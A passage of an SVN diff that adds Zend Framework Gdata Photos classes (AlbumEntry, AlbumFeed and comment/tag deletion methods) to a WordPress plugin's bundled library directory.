+     * Delete a CommentEntry.
+     *
+     * @param Zend_Gdata_Photos_CommentEntry $comment The comment entry to
+     *          delete.
+     * @param boolean $catch Whether to catch an exception when
+     *            modified and re-delete or throw
+     * @return void.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function deleteCommentEntry($comment, $catch)
+    {
+        if ($catch) {
+            try {
+                $this->delete($comment);
+            } catch (Zend_Gdata_App_HttpException $e) {
+                if ($e->getResponse()->getStatus() === 409) {
+                    $entry = new Zend_Gdata_Photos_CommentEntry($e->getResponse()->getBody());
+                    $this->delete($entry->getLink('edit')->href);
+                } else {
+                    throw $e;
+                }
+            }
+        } else {
+            $this->delete($comment);
+        }
+    }
+
+    /**
+     * Delete a TagEntry.
+     *
+     * @param Zend_Gdata_Photos_TagEntry $tag The tag entry to
+     *          delete.
+     * @param boolean $catch Whether to catch an exception when
+     *            modified and re-delete or throw
+     * @return void.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function deleteTagEntry($tag, $catch)
+    {
+        if ($catch) {
+            try {
+                $this->delete($tag);
+            } catch (Zend_Gdata_App_HttpException $e) {
+                if ($e->getResponse()->getStatus() === 409) {
+                    $entry = new Zend_Gdata_Photos_TagEntry($e->getResponse()->getBody());
+                    $this->delete($entry->getLink('edit')->href);
+                } else {
+                    throw $e;
+                }
+            }
+        } else {
+            $this->delete($tag);
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumEntry.php	(revision 44)
@@ -0,0 +1,609 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Access
+ */
+require_once 'Zend/Gdata/Photos/Extension/Access.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_BytesUsed
+ */
+require_once 'Zend/Gdata/Photos/Extension/BytesUsed.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Location
+ */
+require_once 'Zend/Gdata/Photos/Extension/Location.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Name
+ */
+require_once 'Zend/Gdata/Photos/Extension/Name.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_NumPhotos
+ */
+require_once 'Zend/Gdata/Photos/Extension/NumPhotos.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_NumPhotosRemaining
+ */
+require_once 'Zend/Gdata/Photos/Extension/NumPhotosRemaining.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_CommentCount
+ */
+require_once 'Zend/Gdata/Photos/Extension/CommentCount.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_CommentingEnabled
+ */
+require_once 'Zend/Gdata/Photos/Extension/CommentingEnabled.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Id
+ */
+require_once 'Zend/Gdata/Photos/Extension/Id.php';
+
+/**
+ * @see Zend_Gdata_Geo_Extension_GeoRssWhere
+ */
+require_once 'Zend/Gdata/Geo/Extension/GeoRssWhere.php';
+
+/**
+ * @see Zend_Gdata_Media_Extension_MediaGroup
+ */
+require_once 'Zend/Gdata/Media/Extension/MediaGroup.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Category
+ */
+require_once 'Zend/Gdata/App/Extension/Category.php';
+
+/**
+ * Data model class for a Photo Album Entry.
+ *
+ * To transfer user entries to and from the servers, including
+ * creating new entries, refer to the service class,
+ * Zend_Gdata_Photos.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_AlbumEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Photos_AlbumEntry';
+
+    /**
+     * gphoto:id element
+     *
+     * @var Zend_Gdata_Photos_Extension_Id
+     */
+    protected $_gphotoId = null;
+
+    /**
+     * gphoto:access element
+     *
+     * @var Zend_Gdata_Photos_Extension_Access
+     */
+    protected $_gphotoAccess = null;
+
+    /**
+     * gphoto:location element
+     *
+     * @var Zend_Gdata_Photos_Extension_Location
+     */
+    protected $_gphotoLocation = null;
+
+    /**
+     * gphoto:user element
+     *
+     * @var Zend_Gdata_Photos_Extension_User
+     */
+    protected $_gphotoUser = null;
+
+    /**
+     * gphoto:nickname element
+     *
+     * @var Zend_Gdata_Photos_Extension_Nickname
+     */
+    protected $_gphotoNickname = null;
+
+    /**
+     * gphoto:timestamp element
+     *
+     * @var Zend_Gdata_Photos_Extension_Timestamp
+     */
+    protected $_gphotoTimestamp = null;
+
+    /**
+     * gphoto:name element
+     *
+     * @var Zend_Gdata_Photos_Extension_Name
+     */
+    protected $_gphotoName = null;
+
+    /**
+     * gphoto:numphotos element
+     *
+     * @var Zend_Gdata_Photos_Extension_NumPhotos
+     */
+    protected $_gphotoNumPhotos = null;
+
+    /**
+     * gphoto:commentCount element
+     *
+     * @var Zend_Gdata_Photos_Extension_CommentCount
+     */
+    protected $_gphotoCommentCount = null;
+
+    /**
+     * gphoto:commentingEnabled element
+     *
+     * @var Zend_Gdata_Photos_Extension_CommentingEnabled
+     */
+    protected $_gphotoCommentingEnabled = null;
+
+    /**
+     * media:group element
+     *
+     * @var Zend_Gdata_Media_MediaGroup
+     */
+    protected $_mediaGroup = null;
+
+    /**
+     * georss:where element
+     *
+     * @var Zend_Gdata_Geo_Extension_GeoRssWhere
+     */
+    protected $_geoRssWhere = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct($element);
+
+        $category = new Zend_Gdata_App_Extension_Category(
+            'http://schemas.google.com/photos/2007#album',
+            'http://schemas.google.com/g/2005#kind');
+        $this->setCategory(array($category));
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_gphotoTimestamp !== null) {
+            $element->appendChild($this->_gphotoTimestamp->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoUser !== null) {
+            $element->appendChild($this->_gphotoUser->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoNickname !== null) {
+            $element->appendChild($this->_gphotoNickname->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoAccess !== null) {
+            $element->appendChild($this->_gphotoAccess->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoLocation !== null) {
+            $element->appendChild($this->_gphotoLocation->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoName !== null) {
+            $element->appendChild($this->_gphotoName->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoNumPhotos !== null) {
+            $element->appendChild($this->_gphotoNumPhotos->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoCommentCount !== null) {
+            $element->appendChild($this->_gphotoCommentCount->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoCommentingEnabled !== null) {
+            $element->appendChild($this->_gphotoCommentingEnabled->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoId !== null) {
+            $element->appendChild($this->_gphotoId->getDOM($element->ownerDocument));
+        }
+        if ($this->_mediaGroup !== null) {
+            $element->appendChild($this->_mediaGroup->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gphoto') . ':' . 'access';
+                $access = new Zend_Gdata_Photos_Extension_Access();
+                $access->transferFromDOM($child);
+                $this->_gphotoAccess = $access;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'location';
+                $location = new Zend_Gdata_Photos_Extension_Location();
+                $location->transferFromDOM($child);
+                $this->_gphotoLocation = $location;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'name';
+                $name = new Zend_Gdata_Photos_Extension_Name();
+                $name->transferFromDOM($child);
+                $this->_gphotoName = $name;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'numphotos';
+                $numPhotos = new Zend_Gdata_Photos_Extension_NumPhotos();
+                $numPhotos->transferFromDOM($child);
+                $this->_gphotoNumPhotos = $numPhotos;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'commentCount';
+                $commentCount = new Zend_Gdata_Photos_Extension_CommentCount();
+                $commentCount->transferFromDOM($child);
+                $this->_gphotoCommentCount = $commentCount;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'commentingEnabled';
+                $commentingEnabled = new Zend_Gdata_Photos_Extension_CommentingEnabled();
+                $commentingEnabled->transferFromDOM($child);
+                $this->_gphotoCommentingEnabled = $commentingEnabled;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'id';
+                $id = new Zend_Gdata_Photos_Extension_Id();
+                $id->transferFromDOM($child);
+                $this->_gphotoId = $id;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'user';
+                $user = new Zend_Gdata_Photos_Extension_User();
+                $user->transferFromDOM($child);
+                $this->_gphotoUser = $user;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'timestamp';
+                $timestamp = new Zend_Gdata_Photos_Extension_Timestamp();
+                $timestamp->transferFromDOM($child);
+                $this->_gphotoTimestamp = $timestamp;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'nickname';
+                $nickname = new Zend_Gdata_Photos_Extension_Nickname();
+                $nickname->transferFromDOM($child);
+                $this->_gphotoNickname = $nickname;
+                break;
+            case $this->lookupNamespace('georss') . ':' . 'where';
+                $geoRssWhere = new Zend_Gdata_Geo_Extension_GeoRssWhere();
+                $geoRssWhere->transferFromDOM($child);
+                $this->_geoRssWhere = $geoRssWhere;
+                break;
+            case $this->lookupNamespace('media') . ':' . 'group';
+                $mediaGroup = new Zend_Gdata_Media_Extension_MediaGroup();
+                $mediaGroup->transferFromDOM($child);
+                $this->_mediaGroup = $mediaGroup;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's gphoto:access attribute.
+     *
+     * @see setGphotoAccess
+     * @return string The requested attribute.
+     */
+    public function getGphotoAccess()
+    {
+        return $this->_gphotoAccess;
+    }
+
+    /**
+     * Set the value for this element's gphoto:access attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Access The element being modified.
+     */
+    public function setGphotoAccess($value)
+    {
+        $this->_gphotoAccess = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:location attribute.
+     *
+     * @see setGphotoLocation
+     * @return string The requested attribute.
+     */
+    public function getGphotoLocation()
+    {
+        return $this->_gphotoLocation;
+    }
+
+    /**
+     * Set the value for this element's gphoto:location attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Location The element being modified.
+     */
+    public function setGphotoLocation($value)
+    {
+        $this->_location = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:name attribute.
+     *
+     * @see setGphotoName
+     * @return string The requested attribute.
+     */
+    public function getGphotoName()
+    {
+        return $this->_gphotoName;
+    }
+
+    /**
+     * Set the value for this element's gphoto:name attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Name The element being modified.
+     */
+    public function setGphotoName($value)
+    {
+        $this->_gphotoName = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:numphotos attribute.
+     *
+     * @see setGphotoNumPhotos
+     * @return string The requested attribute.
+     */
+    public function getGphotoNumPhotos()
+    {
+        return $this->_gphotoNumPhotos;
+    }
+
+    /**
+     * Set the value for this element's gphoto:numphotos attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_NumPhotos The element being modified.
+     */
+    public function setGphotoNumPhotos($value)
+    {
+        $this->_gphotoNumPhotos = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:commentCount attribute.
+     *
+     * @see setGphotoCommentCount
+     * @return string The requested attribute.
+     */
+    public function getGphotoCommentCount()
+    {
+        return $this->_gphotoCommentCount;
+    }
+
+    /**
+     * Set the value for this element's gphoto:commentCount attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_CommentCount The element being modified.
+     */
+    public function setGphotoCommentCount($value)
+    {
+        $this->_gphotoCommentCount = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:commentingEnabled attribute.
+     *
+     * @see setGphotoCommentingEnabled
+     * @return string The requested attribute.
+     */
+    public function getGphotoCommentingEnabled()
+    {
+        return $this->_gphotoCommentingEnabled;
+    }
+
+    /**
+     * Set the value for this element's gphoto:commentingEnabled attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_CommentingEnabled The element being modified.
+     */
+    public function setGphotoCommentingEnabled($value)
+    {
+        $this->_gphotoCommentingEnabled = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:id attribute.
+     *
+     * @see setGphotoId
+     * @return string The requested attribute.
+     */
+    public function getGphotoId()
+    {
+        return $this->_gphotoId;
+    }
+
+    /**
+     * Set the value for this element's gphoto:id attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Id The element being modified.
+     */
+    public function setGphotoId($value)
+    {
+        $this->_gphotoId = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's georss:where attribute.
+     *
+     * @see setGeoRssWhere
+     * @return string The requested attribute.
+     */
+    public function getGeoRssWhere()
+    {
+        return $this->_geoRssWhere;
+    }
+
+    /**
+     * Set the value for this element's georss:where attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Geo_Extension_GeoRssWhere The element being modified.
+     */
+    public function setGeoRssWhere($value)
+    {
+        $this->_geoRssWhere = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's media:group attribute.
+     *
+     * @see setMediaGroup
+     * @return string The requested attribute.
+     */
+    public function getMediaGroup()
+    {
+        return $this->_mediaGroup;
+    }
+
+    /**
+     * Set the value for this element's media:group attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Media_Extension_MediaGroup The element being modified.
+     */
+    public function setMediaGroup($value)
+    {
+        $this->_mediaGroup = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:user attribute.
+     *
+     * @see setGphotoUser
+     * @return string The requested attribute.
+     */
+    public function getGphotoUser()
+    {
+        return $this->_gphotoUser;
+    }
+
+    /**
+     * Set the value for this element's gphoto:user attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_User The element being modified.
+     */
+    public function setGphotoUser($value)
+    {
+        $this->_gphotoUser = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:nickname attribute.
+     *
+     * @see setGphotoNickname
+     * @return string The requested attribute.
+     */
+    public function getGphotoNickname()
+    {
+        return $this->_gphotoNickname;
+    }
+
+    /**
+     * Set the value for this element's gphoto:nickname attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Nickname The element being modified.
+     */
+    public function setGphotoNickname($value)
+    {
+        $this->_gphotoNickname = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:timestamp attribute.
+     *
+     * @see setGphotoTimestamp
+     * @return string The requested attribute.
+     */
+    public function getGphotoTimestamp()
+    {
+        return $this->_gphotoTimestamp;
+    }
+
+    /**
+     * Set the value for this element's gphoto:timestamp attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Timestamp The element being modified.
+     */
+    public function setGphotoTimestamp($value)
+    {
+        $this->_gphotoTimestamp = $value;
+        return $this;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/AlbumFeed.php	(revision 44)
@@ -0,0 +1,508 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Photos_AlbumEntry
+ */
+require_once 'Zend/Gdata/Photos/AlbumEntry.php';
+
+/**
+ * Data model for a collection of album entries, usually
+ * provided by the servers.
+ *
+ * For information on requesting this feed from a server, see the
+ * service class, Zend_Gdata_Photos.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_AlbumFeed extends Zend_Gdata_Feed
+{
+    protected $_entryClassName = 'Zend_Gdata_Photos_AlbumEntry';
+    protected $_feedClassName = 'Zend_Gdata_Photos_AlbumFeed';
+
+    /**
+     * gphoto:id element
+     *
+     * @var Zend_Gdata_Photos_Extension_Id
+     */
+    protected $_gphotoId = null;
+
+    /**
+     * gphoto:user element
+     *
+     * @var Zend_Gdata_Photos_Extension_User
+     */
+    protected $_gphotoUser = null;
+
+    /**
+     * gphoto:access element
+     *
+     * @var Zend_Gdata_Photos_Extension_Access
+     */
+    protected $_gphotoAccess = null;
+
+    /**
+     * gphoto:location element
+     *
+     * @var Zend_Gdata_Photos_Extension_Location
+     */
+    protected $_gphotoLocation = null;
+
+    /**
+     * gphoto:nickname element
+     *
+     * @var Zend_Gdata_Photos_Extension_Nickname
+     */
+    protected $_gphotoNickname = null;
+
+    /**
+     * gphoto:timestamp element
+     *
+     * @var Zend_Gdata_Photos_Extension_Timestamp
+     */
+    protected $_gphotoTimestamp = null;
+
+    /**
+     * gphoto:name element
+     *
+     * @var Zend_Gdata_Photos_Extension_Name
+     */
+    protected $_gphotoName = null;
+
+    /**
+     * gphoto:numphotos element
+     *
+     * @var Zend_Gdata_Photos_Extension_NumPhotos
+     */
+    protected $_gphotoNumPhotos = null;
+
+    /**
+     * gphoto:commentCount element
+     *
+     * @var Zend_Gdata_Photos_Extension_CommentCount
+     */
+    protected $_gphotoCommentCount = null;
+
+    /**
+     * gphoto:commentingEnabled element
+     *
+     * @var Zend_Gdata_Photos_Extension_CommentingEnabled
+     */
+    protected $_gphotoCommentingEnabled = null;
+
+    protected $_entryKindClassMapping = array(
+        'http://schemas.google.com/photos/2007#photo' => 'Zend_Gdata_Photos_PhotoEntry',
+        'http://schemas.google.com/photos/2007#comment' => 'Zend_Gdata_Photos_CommentEntry',
+        'http://schemas.google.com/photos/2007#tag' => 'Zend_Gdata_Photos_TagEntry'
+    );
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_gphotoId != null) {
+            $element->appendChild($this->_gphotoId->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoUser != null) {
+            $element->appendChild($this->_gphotoUser->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoNickname != null) {
+            $element->appendChild($this->_gphotoNickname->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoName != null) {
+            $element->appendChild($this->_gphotoName->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoLocation != null) {
+            $element->appendChild($this->_gphotoLocation->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoAccess != null) {
+            $element->appendChild($this->_gphotoAccess->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoTimestamp != null) {
+            $element->appendChild($this->_gphotoTimestamp->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoNumPhotos != null) {
+            $element->appendChild($this->_gphotoNumPhotos->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoCommentingEnabled != null) {
+            $element->appendChild($this->_gphotoCommentingEnabled->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoCommentCount != null) {
+            $element->appendChild($this->_gphotoCommentCount->getDOM($element->ownerDocument));
+        }
+
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gphoto') . ':' . 'id';
+                $id = new Zend_Gdata_Photos_Extension_Id();
+                $id->transferFromDOM($child);
+                $this->_gphotoId = $id;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'user';
+                $user = new Zend_Gdata_Photos_Extension_User();
+                $user->transferFromDOM($child);
+                $this->_gphotoUser = $user;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'nickname';
+                $nickname = new Zend_Gdata_Photos_Extension_Nickname();
+                $nickname->transferFromDOM($child);
+                $this->_gphotoNickname = $nickname;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'name';
+                $name = new Zend_Gdata_Photos_Extension_Name();
+                $name->transferFromDOM($child);
+                $this->_gphotoName = $name;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'location';
+                $location = new Zend_Gdata_Photos_Extension_Location();
+                $location->transferFromDOM($child);
+                $this->_gphotoLocation = $location;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'access';
+                $access = new Zend_Gdata_Photos_Extension_Access();
+                $access->transferFromDOM($child);
+                $this->_gphotoAccess = $access;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'timestamp';
+                $timestamp = new Zend_Gdata_Photos_Extension_Timestamp();
+                $timestamp->transferFromDOM($child);
+                $this->_gphotoTimestamp = $timestamp;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'numphotos';
+                $numphotos = new Zend_Gdata_Photos_Extension_NumPhotos();
+                $numphotos->transferFromDOM($child);
+                $this->_gphotoNumPhotos = $numphotos;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'commentingEnabled';
+                $commentingEnabled = new Zend_Gdata_Photos_Extension_CommentingEnabled();
+                $commentingEnabled->transferFromDOM($child);
+                $this->_gphotoCommentingEnabled = $commentingEnabled;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'commentCount';
+                $commentCount = new Zend_Gdata_Photos_Extension_CommentCount();
+                $commentCount->transferFromDOM($child);
+                $this->_gphotoCommentCount = $commentCount;
+                break;
+            case $this->lookupNamespace('atom') . ':' . 'entry':
+                $entryClassName = $this->_entryClassName;
+                $tmpEntry = new Zend_Gdata_App_Entry($child);
+                $categories = $tmpEntry->getCategory();
+                foreach ($categories as $category) {
+                    if ($category->scheme == Zend_Gdata_Photos::KIND_PATH &&
+                        $this->_entryKindClassMapping[$category->term] != "") {
+                            $entryClassName = $this->_entryKindClassMapping[$category->term];
+                            break;
+                    } else {
+                        require_once 'Zend/Gdata/App/Exception.php';
+                        throw new Zend_Gdata_App_Exception('Entry is missing kind declaration.');
+                    }
+                }
+
+                $newEntry = new $entryClassName($child);
+                $newEntry->setHttpClient($this->getHttpClient());
+                $this->_entry[] = $newEntry;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Get the value for this element's gphoto:user attribute.
+     *
+     * @see setGphotoUser
+     * @return string The requested attribute.
+     */
+    public function getGphotoUser()
+    {
+        return $this->_gphotoUser;
+    }
+
+    /**
+     * Set the value for this element's gphoto:user attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_User The element being modified.
+     */
+    public function setGphotoUser($value)
+    {
+        $this->_gphotoUser = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:access attribute.
+     *
+     * @see setGphotoAccess
+     * @return string The requested attribute.
+     */
+    public function getGphotoAccess()
+    {
+        return $this->_gphotoAccess;
+    }
+
+    /**
+     * Set the value for this element's gphoto:access attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Access The element being modified.
+     */
+    public function setGphotoAccess($value)
+    {
+        $this->_gphotoAccess = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:location attribute.
+     *
+     * @see setGphotoLocation
+     * @return string The requested attribute.
+     */
+    public function getGphotoLocation()
+    {
+        return $this->_gphotoLocation;
+    }
+
+    /**
+     * Set the value for this element's gphoto:location attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Location The element being modified.
+     */
+    public function setGphotoLocation($value)
+    {
+        $this->_gphotoLocation = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:name attribute.
+     *
+     * @see setGphotoName
+     * @return string The requested attribute.
+     */
+    public function getGphotoName()
+    {
+        return $this->_gphotoName;
+    }
+
+    /**
+     * Set the value for this element's gphoto:name attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Name The element being modified.
+     */
+    public function setGphotoName($value)
+    {
+        $this->_gphotoName = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:numphotos attribute.
+     *
+     * @see setGphotoNumPhotos
+     * @return string The requested attribute.
+     */
+    public function getGphotoNumPhotos()
+    {
+        return $this->_gphotoNumPhotos;
+    }
+
+    /**
+     * Set the value for this element's gphoto:numphotos attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_NumPhotos The element being modified.
+     */
+    public function setGphotoNumPhotos($value)
+    {
+        $this->_gphotoNumPhotos = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:commentCount attribute.
+     *
+     * @see setGphotoCommentCount
+     * @return string The requested attribute.
+     */
+    public function getGphotoCommentCount()
+    {
+        return $this->_gphotoCommentCount;
+    }
+
+    /**
+     * Set the value for this element's gphoto:commentCount attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_CommentCount The element being modified.
+     */
+    public function setGphotoCommentCount($value)
+    {
+        $this->_gphotoCommentCount = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:commentingEnabled attribute.
+     *
+     * @see setGphotoCommentingEnabled
+     * @return string The requested attribute.
+     */
+    public function getGphotoCommentingEnabled()
+    {
+        return $this->_gphotoCommentingEnabled;
+    }
+
+    /**
+     * Set the value for this element's gphoto:commentingEnabled attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_CommentingEnabled The element being modified.
+     */
+    public function setGphotoCommentingEnabled($value)
+    {
+        $this->_gphotoCommentingEnabled = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:id attribute.
+     *
+     * @see setGphotoId
+     * @return string The requested attribute.
+     */
+    public function getGphotoId()
+    {
+        return $this->_gphotoId;
+    }
+
+    /**
+     * Set the value for this element's gphoto:id attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Id The element being modified.
+     */
+    public function setGphotoId($value)
+    {
+        $this->_gphotoId = $value;
+        return $this;
+    }
+
+    /**
